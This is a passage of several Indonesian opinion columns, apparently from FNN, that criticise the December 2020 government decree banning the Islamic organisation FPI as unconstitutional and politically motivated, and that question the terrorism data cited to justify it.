kemungkaran seperti korupsi, narkoba, perjudian, LGBT, dan lainnya. Di satu sisi, pembubaran ormas Islam bisa melemahkan semangat juang umat Islam Indonesia. Namun sebaliknya, disisi lain pembubaran tersebut juga akan semakin mengokohkan persatuan Umat Islam Indonesia. Hilang satu tumbuh seribu. Terbukti setelah FPi dibubarkan pemerintah, di hari yang sama langsung terbentuk Front Persatuan Islam (baca FPI Baru). Nah, FPI Baru diinisiasi oleh Munarman dan sejumlah pengurus FPI lainnya. Deklarasi Front Persatuan Islam ini dilakukan setelah Front Pembela Islam resmi dilarang pemerintah. Menanggapi lahirnya Ormas baru tersebut, Menko Polhukam Mahfud MD membolehkannya. "Boleh," kata Mahfud lewat pesan singkat kepada portal berita Detik, Kamis (31/12/2020). Jawaban Mahfud ini disampaikan untuk menanggapi pertanyaan apakah deklarasi Front Persatuan Islam oleh Munarman dkk diperbolehkan setelah Front Pembela Islam dilarang oleh pemerintah. Bahkan logo dan mars Front Persatuan Islam hasil kreasi anak-anak milenial sudah menyebar luas di sejumlah grup-grup WA. Meskipun logo resmi belum ada, tetapi mars dan logo FPI Baru tersebut mendapat apresiasi dari warganet karena dinilai sangat kreatif dan membumi. "Logo resmi belum ada. Sedangkan logo dan mars FPI Baru yang muncul adalah kreasi dari umat. Ngga apa-àpa bagus untuk bikin ramai," kata seorang laskar di Petamburan Jakarta. Pernyataan resmi FPI Baru yang pertama dirilis Rabu kemarin antara lain menyebutkan, pembubaran ormas maupun parpol sudah pernah terjadi pada era nasionalis, agama dan komunis (Nasakom) di zaman Orde Lama dibawah Presiden Soekarno. Pada era Nasakom tersebut, sasaran pembubaran juga adalah Ormas dan Parpol yang menentang terhadap Rezim Nasakom, terutama Ormas dan Parpol Islam. "Jadi pelarangan Front Pembela Islam (FPI) saat ini adalah merupakan De Javu alias pengulangan dari Rezim Nasakom yang lalu," demikian bunyi rilis yang dikeluarkan FPI Baru. Pembubaran FPI melalui keputusan bersama enam Instansi Pemerintah, juga dianggap sebagai bentuk pengalihan isu dan obstruction of justice (penghalang-halangan pencarian keadilan) terhadap peristiwa pembunuhan 6 anggota FPI dan bentuk kedzaliman yang nyata terhadap rakyat sendiri. Pembubaran FPI merupakan bentuk pelanggaran terhadap Konstitusi Pasal 28E ayat (3) UUD 1945, Pasal 24 Undang-Undang No. 39 Tahun 1999 tentang HAM dan Putusan Mahkamah Konstitusi 82/PPU-XI/2013. Dalam ketentuan itu disebutkan bahwa hak berserikat adalah Hak Asasi Manusia yang hanya boleh dikurangi dalam keadaan darurat. Munarman dan deklarator lainnya menghimbau kepada seluruh pengurus, anggota dan simpatisan Front Pembela Islam di seluruh Indonesia dan mancanegara, untuk menghindari hal-hal yang tidak penting dan benturan dengan rezim dzalim. Untuk itu kemudian dideklarasikan Front Persatuan Islam. Ormas.baru ini dibentuk untuk melanjutkan perjuangan membela Agama, Bangsa, dan Negara sesuai dengan Pancasila dan UUD 1945. Sekarang Ormas baru sudah terbentuk dengan visi, misi dan kegiatan yang sama dengan FPI yang sudah dibubarkan pemerintah. Selanjutnya kembali fokus menuntaskan penyelidikan dan pengungkapan terhadap kasus pembunuhan enam orang syuhada. Akankah Komnas HAM mampu mengungkap otak dibalik kasus pembunuhan keji tersebut ? Kita lihat saja nanti. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id.

Pembubaran FPI: “Memperkosa” Kemerdekaan Berserikat dan Berkumpul! (1)

By Mochamad Toha Surabaya FNN - Kamis (31/12). Organisasi Massa dibentuk sesungguhnya sebagai wadah berkumpul demi mencapai suatu tujuan bersama anggotanya, sebagai pengejewantahan kebebasan berserikat dan berkumpul yang dijamin oleh Pasal 28 UUD 1945. Pasal 28 UUD 1945 menyatakan, “Kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan dan sebagainya ditetapkan dengan undang-undang”. Pasal 28 E UUD 1945 ayat (3) menyatakan, “Setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat”. Kebebasan berserikat dan berkumpul tersebut tetap harus sesuai dengan peraturan perundang-undangan yang berlaku, dan tidak bertujuan untuk merusak tatanan bangsa apalagi kehendak melakukan aktivitas yang mengarah kepada disintegrasi bangsa dan tindakan terorisme. Karena itu, munculnya SKB pembubaran Front Pembela Islam (FPI) patut dipertanyakan apa landasannya. Pemerintah harus memberikan bukti-bukti nyata “pelanggaran yang meresahkan masyarakat” seperti apa yang menjadi landasan pembubaran FPI. Ini harus dilakukan Pemerintah agar tidak muncul anggapan, Pemerintah telah memberikan kebijakan yang sewenang-wenang. Tak hanya kepada FPI, tetapi juga kepada seluruh ormas di Indonesia. Pasalnya, dari pengamatan di lapangan, sejak Peristiwa Monas, FPI berubah menjadi ormas yang dicintai masyarakat karena aktivitas sosialnya. Tapi, karena belakangan ini FPI berani “berseberangan” sikap/kebijakan dengan Pemerintah, FPI dianggap “kontra” Pemerintah. Sehingga muncullah SKB tersebut. “Tentang Larangan Kegiatan, Penggunaan Simbol, dan Atribut Serta Penghentian Kegiatan Front Pembela Islam (FPI)”. Kesatu: Menyatakan Front Pembela Islam adalah organisasi yang tidak terdaftar sebagai Organisasi Kemasyarakatan sebagaimana diatur dalam peraturan perundang-undangan, sehingga secara de jure telah bubar sebagai Organisasi Kemasyarakatan. Kedua: Front Pembela Islam sebagai Organisasi Kemasyarakatan yang secara de jure telah bubar, pada kenyataannya masih terus melakukan berbagai kegiatan yang mengganggu ketenteraman, ketertiban umum dan bertentangan dengan hukum. Ketiga: Melarang dilakukannya kegiatan, penggunaan simbol dan atribut Front Pembela Islam dalam wilayah hukum Negara Kesatuan Republik Indonesia. Keempat: Apabila terjadi pelanggaran sebagaimana diuraikan dalam diktum ketiga di atas, Aparat Penegak Hukum akan menghentikan seluruh kegiatan yang sedang dilaksanakan oleh Front Pembela Islam. Pembubaran FPI yang diumumkan Menko Polhukam Mahfud MD pada Rabu, 30 Desember 2020, sama halnya saat Menko Polhukam dijabat Wiranto ketika membubarkan Hizbut Tahrir Indonesia (HTI) pada Senin, 8 Mei 2017. HTI merupakan badan hukum yang tercatat di Kemenkum HAM sejak 2 Juli 2014. Setdaknya, ada tiga alasan yang disampaikan pemerintah untuk menindak HTI. Yakni: Pertama, HTI tidak melaksanakan peran positif untuk mengambil bagian dalam proses pembangunan guna mencapai tujuan nasional. Kedua, kegiatan HTI terindikasi kuat telah bertentangan dengan Pancasila dan UUD 1945. Ketiga, aktivitasnya menimbulkan benturan di masyarakat yang dapat mengancam keamanan dan ketertiban masyarakat, serta membahayakan keutuhan NKRI. Upaya pemerintah mengambil langkah hukum membubarkan HTI dengan alasan indikasi HTI bertentangan dengan UUD 1945 menjadi kontradiktif terhadap jaminan perlindungan HAM dalam UUD 1945: Pasal 28 UUD 1945 jo Pasal 28 E UUD 1945 ayat (3). “Kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan dan sebagainya ditetapkan dengan undang-undang”. Dan: “Setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat”. Pembubaran FPI ditandatangani 6 pejabat tinggi negara, yaitu: Mendagri Tito Karnavian, Menkum HAM Yasonna H. Laoly, Menkominfo Johnny G. Plate, Jaksa Agung Burhanuddin, Kapolri Jenderal Polisi Idham Azis, Kepala BPPT Boy Rafli Amar. Isu rencana pembubaran FPI itu sudah mencuat sejak medio 2019. Saat itu di medsos terjadi perang tagar #BubarkanFPI versus #SaveFPI yang menandai adanya dua faksi di masyarakat yang terlibat friksi akut. Satu faksi gencar mendorong Presiden Joko Widodo untuk membubarkan Ormas Islam FPI. Satu faksilain menjadi simpatisan FPI dan bersikeras untuk menjaga eksistensi Ormas Islam ini agar terus menjalankan peran sosialnya di negeri ini sepanjang republik ini masih ada. Menurut Sugito Atmo Pawiro, seorang kuasa hukum Habieb Rizieq Shihab, pemerintahan Presiden Jokowi tidak sulit untuk membubarkan ormas semacam FPI tersebut. Habib Rizieq Shihab adalah pendiri FPI semasa Wiranto menjadi Panglima ABRI. Dengan Perppu Nomor 2/2017 tentang perubahan atas UU Nomor 17/2013 tentang Ormas yang telah ditetapkan menjadi UU Nomor 16/2017, membuka peluang bagi pemerintah untuk membubarkan ormas tanpa melalui proses pengadilan. Pembubaran bisa dimaknai bahwa Kementerian Dalam Negeri mencabut Surat Keterangan Terdaftar dan Kementerian Hukum dan HAM mencabut atau membekukan badan hukum Ormas tanpa proses peradilan sebagaimana dimaksud UU Nomor 16 Tahun 2017. Untuk sampai kepada level beleid ini, harus bisa dibuktikan lebih dahulu bahwa Ormas ini memiliki ideologi selain Pancasila dan terbukti mengganggu ketertiban umum dan keamanan negara. Sugito mengungkapkan bahwa fakta yang sebenarnya terjadi adalah Izin ormas FPI terdaftar dalam SKT 01-00-00/010/D.III.4/VI/2014 dan sudah habis masa berlakunya pada Kamis, 20 Juni 2019. Mendagri Tjahjo Kumolo saat itu sebenarnya masih menunggu persyaratan tertentu yang dilengkapi FPI sebagai syarat perpanjangan izin. Tapi, Presiden Jokowi menyatakan, kemungkinan pemerintah untuk tak memperpanjang izin FPI sebagai Ormas. Tampaknya rencana Presiden Jokowi untuk tidak memperpanjang izin FPI sebagai Ormas ini lebih bersifat politis semata. Padahal, kiprah sosial FPI sudah dilakukan di mana-mana dan terekam media mainstream maupun non-mainstream. Bahkan, media asing kelas dunia seperti The Washington Post sempat menulis kiprah FPI saat ada bencana. Tampaknya, Presiden AS Donald Trump tidak alergi lagi pada ormas FPI yang sering digambarkan sebagai “Ormas Radikal dan Intoleran”. Melansir Demokrasi.co.id, Kamis (13/6/2019), kiprah FPI dalam membantu korban bencana alam di Indonesia tidak bisa dianggap sepele. Front bentukan Habib Rizieq Shihab itu selalu terdepan dalam setiap penanganan bencana. Jurnalis Stephen Wright menulis dedikasi FPI tersebut dalam artikel berjudul When Disaster Hits, Indonesia’s Islamists are First to Help yang diunggah di The Washington Post, Selasa, 11 Juni 2019 lalu. Dia mengawali tulisan itu dengan menceritakan bendera FPI yang terpasang di rumah Anwar Ragaua, korban tsunami Palu, Sulawesi Tengah, 28 September 2018. Pria berusia 50 tahun itu menghiraukan perintah polisi untuk menurunkan bendera tersebut. Anwar adalah satu-satunya nelayan yang selamat saat tsunami melanda ibukota Sulteng, 28 September 2018 lalu. Anwar mengenang bahwa saat itu tidak ada polisi dan pemerintah yang membantu evakuasi di daerahnya. Sebaliknya, pihak pertama yang menawarkan harapan kepadanya adalah FPI. Bahkan, FPI turut menyerahkan kapal baru untuknya kembali melaut. Anwar tinggal di kampung nelayan di daerah terpencil yang sulit terjangkau. Itulah sebagian fakta yang ditulis Wright di The Whasington Post. Kehadiran FPI dalam tanggap bencana mulai dilakukan saat terjadi tsunami Aceh pada 2004. Tsunami ini menewaskan lebih dari 100 ribu orang di Serambi Mekkah itu. Terakhir, FPI juga turut berperan ikut mengevakuasi korban gempa dan tsunami Palu yang menewaskan lebih dari 4.000 jiwa. Mereka membantu pencarian korban, pendistribusian bantuan ke daerah pelosok, dan membangun perumahan sementara dan masjid baru. Wright menguraikan, sejak didirikan dua dekade lalu, FPI konsisten mendorong hukum Islam untuk mengatur kehidupan 230 juta muslim Indonesia. FPI menilai, ada kesalahan konstitusi di Indonesia yang mengubah negara menjadi lebih sekuler. Dalam tulisannya itu, Wright juga mencatat, FPI dibentuk di Jakarta oleh unsur-unsur militer Indonesia setelah jatuhnya diktator Suharto pada 1998 sebagai alat untuk menghadapi aktivis pro-demokrasi dan liberalisme. Menurut Putra Bung Tomo, Bambang Sulistomo, sebaiknya semua nilai agama di negeri juga diajarkan sebagai upaya menegakkan hukum dan keadilan untuk melawan ketidak-adilan dan penindasan. Diajarkan pula untuk menegakkan hukum guna melindungi seluruh rakyat secara adil, serta keberanian untuk melawan, jika hukum digunakan menjadi alat segolongan penguasa yang munafik serta menindas. “Diajarkan juga untuk berpikir kritis, terbuka, jujur dan adil guna memupuk keberanian rakyat melawan faham otoritarianisme gaya baru, praktek jual beli hukum dan jabatan,” lanjut Ketum Ikatan Pendukung Kemerdekaan Indonesia (IP-KI) ini. Diajarkan untuk menumbuhkan rasa saling menghormati, mengasihi sesama dan antar umat beragama untuk menumbuhkan keberanian melawan adu domba antar umat bergama yang didasarkan kecurigaan dan kebencian buta. Diajarkan pula bahwa untuk meningkatkan kesadaran berbangsa, bernegara dan ber-Pancasila guna melawan merebaknya penghianatan yang ingin menggiring negara ini jadi antek bangsa dan negara lain. Diajarkan untuk membentuk keberanian membela dan mendidik kaum pengusaha lemah bumiputera guna berani melawan kerakusan, liberalisme, dan anarkisme pengusaha kuat. Tentunya, pengusaha kuat yang ingin menguasai kehidupan negara ini yang dampaknya bisa menimbulkan ketimpangan, kecemburuan, keresahan dan ketegangan sosial. (Bersambung) Penulis wartawan senior FNN.co.id

Dari Chicago ke Moscow?

By Daniel Mohammad Rosyid Surabaya FNN - Kamis (32/12). Kemarin siang, didampingi beberapa profesor, Menkopolhukam Mahfud MD mengumumkan bahwa FPI telah bubar dan tidak memiliki lagi legal standing, Lalu melarang FPI untuk melakukan berbagai kegiatan yang membuatnya sebuah organisasi yang konon paling berbahaya di Republik ini. Hemat saya, ini upaya putus asa Pemerintah untuk menghentikan sebuah trajectory yg ditempuh rezim ini untuk membawa Republik ini ke jurang kehancuran. Kesalahan ditutup-tutupi dengan kesalahan yang makin besar. Ini sekaligus upaya untuk membelokkan perhatian masyarakat atas skandal pelanggaran HAM berat yg telah dilakukan oleh aparat kepolisian atas 6 laskar FPI baru-baru ini di Ibukota. Saat Wamenkumham Prof. Omar Sharif mengumumkan Surat Keputusan Bersama sekian Menteri dan Kepala lembaga negara dalam rangka menghentikan FPI, saya membaca upaya memindahkan fokus perhatian publik dari kasus Al Capone di Chicago ke Dr. Zhivago di Moscow. Dari kejahatan telanjang nyata ke fiksi roman. Seperti sinyalemen Yudi Latief beberapa waktu lalu, apakah arus besar kedunguan sedang mentsunami Republik ini, sehingga para profesor rela mempertaruhkan kredibilitasnya untuk mengingkari amanat konstitusi ? Sesi pengumuman kemarin siang adalah bukti terbaru maladministrasi publik di mana hukum diciptakan dan ditafsirkan semena-mena untuk kepentingan penguasa, bukan untuk kepentingan publik. Yang tahu plot licik ini adalah Munarman yang segera mendeklarasikan Front Persatuan Islam. Pada saat ormas Facebook beranggotakan 2 milyar lebih pengguna, organisasi di era internet ini semakin menjejaring, dengan struktur yang pipih, horizontal, dengan hubungan antar simpul yang sukarela, lentur, dan dinamis. Yang mengikat anggotanya cuma satu: kesetiaan pada visi yang sama. Persetan dengan legal standing. Penulis adalah Direktur Rosyid College of Arts.

Data Keliru Yang Dipakai Untuk Pembubaran FPI

Lebih fatal lagi nih Menkopolkam, jika saya kasih data hasil penelitian juga. Dari Kemenham tahun 2019 yang menyimpulkan bahwa ada sekitar 3% prajurit TNI yang terpapar radikalisme. Itu artinya ada sekitar 12.000 anggota TNI dari total 400.000 TNI aktif terpapar radikalisme. Kalau begitu bubarkan dong TNI. Mau pak Mahfuzd bubarkan TNI? Lebih banyak dari anggota FPI loh jumlahnya yang terpapar atau beririsan. Begitulah kalau membuat kesimpulan yang fatal bukan? by Ubedilah Badrun Jakarta FNN – Kamis (31/12). Saya termenung sejenak. Lalu berfikir apa yang sesungguhnya sedang terjadi di Republik ini? Benarkah FPI bersalah? Mengapa dibubarkan? Ada apa dibalik pembubaran FPI sampai-sampai dibubarkan melalui SKB (Surat Keputusan Bersama) enam pejabat negara. Tiga menteri dan tiga pejabat setingkat menteri? Secara sosiologis politik, FPI entitas organisasi kemasyarakatan (ormas). Sama dengan ormas-ormas lainya. Memahami Ormas Mungkin sudah pada lupa ya? Ada yang jadi Presiden karena tidak sedikit peran Relawan (mirip ormas juga) yang pada tahun 2014 dan 2019 kemarin, banyak yang melakukan kegiatan di tengah-tengah masyarakat, meski tidak memiliki legal standing (merujuk Mahfuzd MD bahwa yang tidak punya legal standing ya tidak legal). Tahun 2014 lalu, banyak organisasi masyarakat berwujud relawan yang tak memiliki legalitas. Kemudian berlanjut tahun 2019. Dibalik relawan, tidak sedikit yang terkoneksi dengsn buzzer, atau kemungkinan besar ada juga buzzer yang dibiayai relawan. Jangan tanya siapa yang membiayai relawan? Ribut antar relawan di media sosial masih kenceng sampe hari ini. Tensi sosial masih tinggi. Siapa yang salah? Buzzernya atau yang membiayainya? Atau relawanya? Atau ormasnya? Silahkan buat kesimpulan sendiri saja. Mahfuzd MD mungkin juga lupa, dia bisa menjadi besar karena ormas, yaitu Ormas Nahdlatul Ulama (NU). Tanpa NU Mahfuzd MD tidak mungkin seperti saat ini. Sudah jadi pejabat. Tidak tangung-tanggung jabatanya Menteri Koordinator (Menko) Bidang Politik, Hukum dan Keamanan. Jika ditelusuri sesungguhnya Ormas telah memberi kontribusi besar dalam membangun negara, karena banyak melahirkan sumber daya manusia yang dibutuhkan negara. Sering juga kita melihat juga ormas membantu negara dalam situasi sulit, dari episode melawan penjajah, menghadapi bencana alam, hingga melawan Covid-19 sekarang. Sebab negara tidak cukup mampu bekerja atasi problem tanpa bantuan ormas. Silahkan cek apa sumbangan NU saat Indonesia hadapi musibah? Silahkan cek sumbangan Muhammadiyah saat tingkat pendidikan Indonesia masih rendah? Kalau mau nanya ini juga boleh, apa sumbangan ormas FPI saat Indonesia hadapi musibah? Dari musibah gempa, tsunami sampai covid-19? Silahkan di cek. Ormas secara natural adalah juga kanal dari kebutuhan sosiologis manusia yang tidak bisa dibendung. Apalagi dihilangkan secara paksa. Karena ormas melekat dengan keberadaan manusia itu sendiri sebagai mahluk sosial. Ormas adalah hak sosial setiap manusia, sekaligus setiap warga nega, karenanya UU Nomor 16 Tahun 2017 mewadahinya. Menurut Undang-Undang tentang Ormas tersebut, dalam pasal 1 disebutkan bahwa ormas adalah organisasi yang didirikan dan dibentuk oleh masyarakat secara sukarela berdasarkan kesamaan aspirasi,kesamaan kehendak, kebutuhan, kepentingan, kegiatan, dan tujuan untuk berpartisipasi dalam pembangunan demi tercapainya tujuan Negara Kesatuan Republik Indonesia yang berdasarkan Pancasila dan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945. Demokrasi & Hak Berorganisasi Itulah sebabnya negara wajib memberi kebebasan pada warga negara untuk beserikat, berkumpul dan berorganisasi sebagaimana dijamin dalam pasal 28 UUD 1945. Para pendiri bangsa ini sejak kelahiran negara, secara progresif telah menetapkan hak-hak dasar setiap warga negara, termasuk hak berserikat, berkumpul dan berorganisasi. Melakukan represi terhadap ormas adalah kesalahan fatal. Bertentangan konstitusi UUD 1945, juga sekaligus bertentangan dengan prinsip-prinsip negara demokrasi. Bukankah demokrasi itu gagasan tentang kebebasan yang terbentuk melalui sejarah panjang. Demokrasi adalah pelembagaan dari kebebasan. Termasuk di dalamnya kebebasan untuk berserikat, berkumpul dan berorganisasi. Tentu Mahfuzd MD masih ingat gagasan penting Henry Bertram Mayo dalam An Introduction to Democratic Theory (1960). Bahwa ada prinsip-prinsip demokrasi tidak boleh diganggu, karena menjadi sebab mengapa suatu negara disebut mempraktekan sistem demokratis? Diantaranya mengakui serta menganggap wajar adanya keanekaragaman termasuk keanekaragaman organisasi masyarakat. Keadilan Hukum Dalam Perkara FPI Selain itu, negara wajib menjamin tegaknya keadilan. Keadilan dalam perkara hukum hanya boleh diputus di pengadilan. Pembubaran ormas itu perkara hukum. Sehingga hanya boleh diputuskan di meja pengadilan. Bukan di meja kekuasaan. Bukankah ada putusan Mahkamah Konstitusi No. 6-13-20/PUU-VIII/2010 yang didalamnya memuat argumen pembubaran ormas itu sepatutnya melalui Pengadilan? Ormas FPI bersalah atau tidak biarlah pengadilan yang akan memutuskan. Bukan penguasa. Indonesia ini negara hukum yang menganut konsepsi Rechstaat. Bukan machstaat (negara kekuasaan). Jika yang dipake adalah logika machstaat, ini kesalahan fatal dalam berdemokrasi. Terlalu banyak kesalahan fatal republik ini jika diurai satu persatu. Pemerintah terlalu menyibukan diri menghadapi FPI juga sudah kesalahan fatal. Sebab sesungguhnya masalah besar bangsa ini bukan di FPI. Tetapi amburadulnya tata kelola hadapi Covid-19. Korupsi yang merajalela. Kemiskinan yang terus bertambah. Ketidakadilan dan arogansi kekuasaan (neo- otoritarianisme). Pemerintah telah salah fokus (salfok). Saking salfoknya sampai buat SKB (Surat Keputusan Bersama) tiga Menteri (Mendagri, Menkumham, Menkominfo dan tiga pejabat negara setingkat menteri Kepolisian, Kejaksaan dan BNPT) dibawah komando Menkopolkam Mahfuzd MD. SKB Salah Fatal: Data Meragukan Itupun SKB-nya yang dibuat terkait FPI salah fatal. Menyatakan FPI secara dejure bubar sejak 20 Juni 2019. Padahal ada putusan MK yang menyatakan bahwa negara tidak dapat memaksakan suatu organisasi untuk mendaftarkan diri dan memiliki SKT. Makanya, silahkan cek pertimbangan putusan MK Nomor 82/PUU-XI/2013 angka (3.19.4). Jadi SKB yang dibuat kemarin, nyata-nyata bertentangan dengan putusan Mahkamah Konstitusi (MK). Setelah saya baca isi SKB enam pejabat itu, ternyata ada kesalahan fatal lainya. Misalnya soal 35 orang FPI terlibat tindak pidana terorisme yang disebutkan dalam pertimbangan SKB poin e. Datanya dari mana? Setelah saya cek kemungkinan besar datanya dari riset Pusat Riset Ilmu Kepolisian dan Kajian Terorisme yang dipimpin oleh Irjen Pol (Purn.) Benny Mamoto. Sebagai informasi, ternyata Benny Mamoto juga adalah Ketua Harian Kompolnas. Dalam suatu rilis riset tersebut, Benny Mamoto menyampaikan dokumen yang berjudul "37 Anggota Jaringan Terorisme Berlatar Belakang FPI". Kalau versi SKB Pembubaran dan Pelarangan FPI, ada 35 orang yang berlatar belakang FPI. Nah, ko angkanya jadi beda? Ada apa nih? Data riset tersebut, patut dipertanyakan dari sisi metodologi, karena tidak dikemukakan secara detail bagaimana data tersebut valid. Tidak juga dijelaskan, bagaimana triangulasi data dilakukan. Benny Mamoto hanya menyebutkan bahwa sumbernya dari laman pengadilan negeri, dengan meneliti satu persatu putusan. Ini patut untuk dipertanyakan metodologinya. Bagaimana bisa memastikan mereka adalah anggota FPI atau beririsan dengan FPI? Sebagai akademisi, saya penasaran saya baca siapa saja 37 orang temuan risetnya lembaga pimpinan Beny Mamoto tersebut. Secara umum datanya masih perlu diuji. Uniknya, ternyata saya baca di data tersebut ada 10 dari 37 orang tersebut, tidak disebutkan bagaimana hubungan mereka dengan FPI? Bagaimana juga mereka berkoneksi dan beririsan dengan FPI? Sepuluh orang yang dimaksud adalah (1) Ahmad Yosefa alias Hayat, ditangkap 2011, pelaku bom Gereja Pekuton September 2011, (2) Moch Ramuji alias Muji alias Ahmad alias Kapten alias Botak, ditangkap 13 Mei 2014, (3) Ali Azhari alias Jakfar alias Topan bin Daryono (Alm), ditangkap 1 April 2010, (4) Agus Abdillah alias Jodi, ditangkap 17 September 2012, Kemudian orang ke (5) adalah Syaiful Bahri Siregar alias Ipul alias Imam, ditangkap 9 Maret 2010, (6) Munir bin Ismail alias Abu Rimba alias Abu Uteun, ditangkap 17 Maret 2010, kasus pelatihan militer Aceh, kelompok Aceh 2010, (7) Taufik bin Marzuki alias Abu Sayaf alias Alex Nurdin Sulaiman bin Tarmizi ditangkap 29 September 2010, Selain itu, yang ke (8) Muhammad Shibghotullah bin Sarbani alias Mihdad alias Asim alias Mush'ab alias Kholid alias Hani alias Faisal Septya Wardan, ditangkap 11 Juni 2011, kelompok pelatihan militer Aceh, (9) Qoribul Mujib alias Pak Mujib alias Paklek alias Mujiono alias Abdul Sika alias Si Dul alias Muji, ditangkap 12 Juli 2012, dan (10) Sefariano alias Mambo alias Aryo alias Asep alias Dimasriano, ditangkap 2 Mei 2013, perencanaan bom kedubes Myanmar. Selain yang 10 tersebut, yang tidak disebutkan konektivitaanya dengan FPI, misalnya yang 27 lainya juga untuk perlu dibuka ke publik. Apakah benar mereka semua anggota FPI? Apakah benar mereka adalah pengurus FPI? Apakah benar mereka terkoneksi dengan FPI? Beririsan dengan FPI? Metodologi Keluru Sebagai akademisi, saya memahami metodologi ilmiah. Karenanya patut bertanya tentang validitas data yang disajikan Irjen Pol. (Purn.) Benny Mamoto tersebut. Apalagi persoalan FPI ini sudah menjadi konsumsi publik. Bagaimana memastikan mereka terhubung dengan FPI? Kalau hanya asumsi, lalu disimpulkan beririsan dengan FPI ini kesalahan fatal. Penyesatan yang sangat luar biasa. Betapa banyak anggota FPI itu beririsan dengan ormas NU (Nahdatul Ulama). Secara geneologi fiqih ibadah, tareqot dan tradisinya anggota FPI itu banyak beririsan dengan NU. Mereka tahlilan, qunut, marhabanan, yasinan dan lain-lain. Lalu apakah bisa saya harus simpulkan bahwa FPI itu NU? Karenanya terkoneksi dengan teroris? Kesimpulan yang kesalahanya fatal. Lebih fatal lagi nih Menkopolkam, jika saya kasih data hasil penelitian juga. Dari Kemenham tahun 2019 yang menyimpulkan bahwa ada sekitar 3% prajurit TNI yang terpapar radikalisme. Itu artinya ada sekitar 12.000 anggota TNI dari total 400.000 TNI aktif terpapar radikalisme. Kalau begitu bubarkan dong TNI. Mau pak Mahfuzd bubarkan TNI? Lebih banyak dari anggota FPI loh jumlahnya yang terpapar atau beririsan. Kesimpulan yang fatal bukan? Jika sebuah keputusan penting negara dibuat berbasis data yang tidak valid, keliru, bahkan sesat, saya khawatir akan makin membuat Indonesia berantakan. Saya juga khawatir, data yang tidak valid itu dianalisis dan disimpulkan. Apalagi oleh Jokowi dan Mahfuzd MD.Loh kok Jokowi ikut disebut? Yang jelas, di atasnya Mahfuzd MD itu ada Presiden. Betapa bahayanya sebuah keputusan negara bersumber dari data atau analisis yang keliru. Maaf, bukankah ini salah fatal mas Presiden ? Wallahu a'lam bishawab. Penulis adalah Analis Sosial Politik Uiveristas Negeri Jakarta.

Apakah Baju, Kaos dan Celana FPI Juga Terlarang?

Jakarta FNN – Kamis (31/12). Rabu siang kemarin menjadi hari dan siang yang gelap untuk Front Pembela Islam FPI. Pemerintah Joko Widodo mengambil sikap tegas terhadap mereka FPI. Sikap itu dituangkan dalam Surat Keputusan Bersama (SKB) Menteri Dalam Negeri, Menteri Hukum dan HAM, Menteri Komunikasi dan Informasi, Jaksa Agung, Kapolri, dan Kepala Badan Nasional Penaggulangan Terorisme (BNPT). Surat Keputusan Bersma (SKB) itu bernomor 220-4780 tahun 2020, Nomor M.HH-14.HH.05.05 tahun 2020, Nomor 690 Tahun 2020, Nomor 264 Tahun 2020, Nomor KB/3/XII/2020, Nomor 320 Tahun 2020 tentang Larangan Kegiatan, Penggunaan Simbol dan Atribut serta Penghentian Kegiatan Front Pembela Islam (FPI). SKB ini berlaku sejak hari Rabu (30/12). Dalam SKB tersebut, pemerintah meminta masyarakat tak terpengaruh dan terlibat dalam kegiatan penggunaan segala simbol dan atribut FPI. Masyarakat juga diminta melaporkan kegiatan yang mengatasnamakan dan memakai simbol FPI. Jelas semuanya terang dalam SKB tersebut. Begitulah demokrasi dan hukum bekerja di republik Indonesia. Atas nama hukum dan ketertiban, serta dengan satu diskresi kecil bernama SKB, FPI menemui akhir hayatnya secara permanen untuk berkegiatan di seluruh wilayah hukum Indonesia. Berakhir pula, hak-hak orang FPI menggunakan simbol dan atributnya. Orang-orang FPI mungkin akan melihat larangan penggunaan atribut dan simbol FPI sebagai satu tindakan tata usaha negara. Tindakan yang menimbulkan kerugian material dengan nyata. Mungkin itulah yang membuat mereka FPI seperti mempertimbangkan untuk mengambil langkah gugatan ke Pengadilan Tata Usaha Negara (PTUN) Jakarta. Andai betul orang-orang FPI bakal membawa SKB tersebut ke PTUN, ini paling hebat. Itu terlihat kalau orang-orang FPI sangat dan lebih mengerti serta memahami hukum positif di negeri ini. Mereka FPI juga masih menaruh kepercayaan yang tinggi kepada lembaga peradilan. PTUN pasti tidak bisa menolak memeriksa gugatan FPI itu. Namun bagaimana akhirnya? Itu soal lain. Kalah atau menang di pengadilan, itu soal lain. Sehebat itu sekalipun, tampaknya tidak akan lebih hebat dari SKB yang datangnya secara tiba-tiba itu. Tidak ada wacana, tidak ada perdebatan di publik sebelumnya. Tetapi tiba-tiba keluarlah SKB tersebut. Itu yang hebat betul dari SKB tersebut. Terlihat canggih. Karena tak terprediksi sebelumnya. Sama sama canggihnya dengan datangnya somasi dari PTPN VIII terhadap Habib Rizieq tentang lahan yang di atasnya dibangun pesantren. Soal lahan pasantren ini juga tak terprediksi. Tak terduga oleh FPI. Pemerintah terlihat selalu canggih. Dapat menemukan cara yang tak terduga dalam menangani FPI dan Habib Rizieq. Cukup cermat pemerintah menggunakan energinya mengenali detail-detail FPI dan Habib Rizieq. Ini juga mungkin menjadi keunggulan pemerintah disatu sisi. Sementara disisi lain menjadi kelemahan terbesar FPI. Sebab orang-orang FPI juga mungkin tak memperkirakan pemerintah sewaktu-waktu menggunakan kewenangannya. Tentu dengan efek kejut yang dapat bekerja seketika. Apakah soal kemampuan memprediksi itu, harus dimiliki oleh orang-orang FPI? Itu urusan mereka. Apakah demokrasi yang begitu diagungkan saat ini? Sehingga menjadi sebab orang-orang FPI tidak memprediksi hal-hal tak terduga dapat dikenakan pemerintah kepada mereka? Entahlah itu. Namun andai saja orang-orang FPI bersandar pada demokrasi, sehingga memiliki kepercayaan bahwa mereka tidak akan tertimpa hal-hal tak terduga. Tampaknya itu keliru untuk negeri ini sekrang. Demokrasi memang andal. Tetapi jangan lupa, demokrasi itu menjadi andal, agung, indah, hebat dan bermartabat, hanya jika berada dan dikelola oleh orang-orang besar. Ya mereka tingkat para negarawan. Misalnya Bung Karno sepanjang tahun 1945 hingga 5 Juli 1959. Kendati menjadi Presiden simbolik sepanjang tahun itu, Bung Karno tidak mengambil tindakan yang aneh-aneh. Belajar Dari Megawati dan SBY George Washington, Presiden pertama Amerika, juga negarawan. Presiden pertama Amerika itu sangat top dan 